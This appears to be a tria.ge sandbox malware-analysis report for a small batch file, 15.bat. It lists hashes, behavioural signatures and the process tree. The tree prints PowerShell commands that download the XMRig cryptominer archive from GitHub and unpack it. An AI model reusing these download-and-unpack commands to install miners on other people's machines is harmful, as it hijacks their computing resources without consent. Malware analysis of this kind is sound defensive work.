Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
11.bat
windows7-x64
1010.bat
windows7-x64
1011.bat
windows7-x64
1012.bat
windows7-x64
1013.bat
windows7-x64
1014.bat
windows7-x64
1015.bat
windows7-x64
102.bat
windows7-x64
103.bat
windows7-x64
104.bat
windows7-x64
105.bat
windows7-x64
106.bat
windows7-x64
107.bat
windows7-x64
108.bat
windows7-x64
109.bat
windows7-x64
10Resubmissions
Analysis
-
max time kernel
1565s -
max time network
1566s -
platform
windows7_x64 -
resource
win7-20240419-en -
resource tags
arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system -
submitted
20/05/2024, 18:07
Static task
static1
Behavioral task
behavioral1
Sample
1.bat
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
10.bat
Resource
win7-20240221-en
Behavioral task
behavioral3
Sample
11.bat
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
12.bat
Resource
win7-20240508-en
Behavioral task
behavioral5
Sample
13.bat
Resource
win7-20240419-en
Behavioral task
behavioral6
Sample
14.bat
Resource
win7-20240419-en
Behavioral task
behavioral7
Sample
15.bat
Resource
win7-20240419-en
Behavioral task
behavioral8
Sample
2.bat
Resource
win7-20240221-en
Behavioral task
behavioral9
Sample
3.bat
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
4.bat
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
5.bat
Resource
win7-20240508-en
Behavioral task
behavioral12
Sample
6.bat
Resource
win7-20231129-en
Behavioral task
behavioral13
Sample
7.bat
Resource
win7-20240221-en
Behavioral task
behavioral14
Sample
8.bat
Resource
win7-20240508-en
Behavioral task
behavioral15
Sample
9.bat
Resource
win7-20240220-en
General
-
Target
15.bat
-
Size
599B
-
MD5
798b979417aa88e5323ead9be2d8425c
-
SHA1
a54c5133c71afddf697f302b36bdb930c72852ce
-
SHA256
f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
-
SHA512
a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 2100 powershell.exe 6 2100 powershell.exe -
pid Process 2100 powershell.exe 2652 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2100 powershell.exe 2652 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2100 powershell.exe Token: SeDebugPrivilege 2652 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1732 wrote to memory of 2100 1732 cmd.exe 29 PID 1732 wrote to memory of 2100 1732 cmd.exe 29 PID 1732 wrote to memory of 2100 1732 cmd.exe 29 PID 1732 wrote to memory of 2652 1732 cmd.exe 30 PID 1732 wrote to memory of 2652 1732 cmd.exe 30 PID 1732 wrote to memory of 2652 1732 cmd.exe 30
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\15.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2100
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2652
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD58d12f725b8e8b9bbcab52e4ee95c5b23
SHA1788f0ebab9baf7b00f47e8d9401a058d98830e23
SHA25681db3778a074f65e7cf354632c43632a0c7bd65ed2a6442c302c4474764e331a
SHA512c1b0453674d72add9bffb30a8801b15e006077bcb83e785a4b946dfb7bdb4df46b5019e1c8c6fce5eef22b41504ec08cc8c6f868e340cfaded2351950662e52c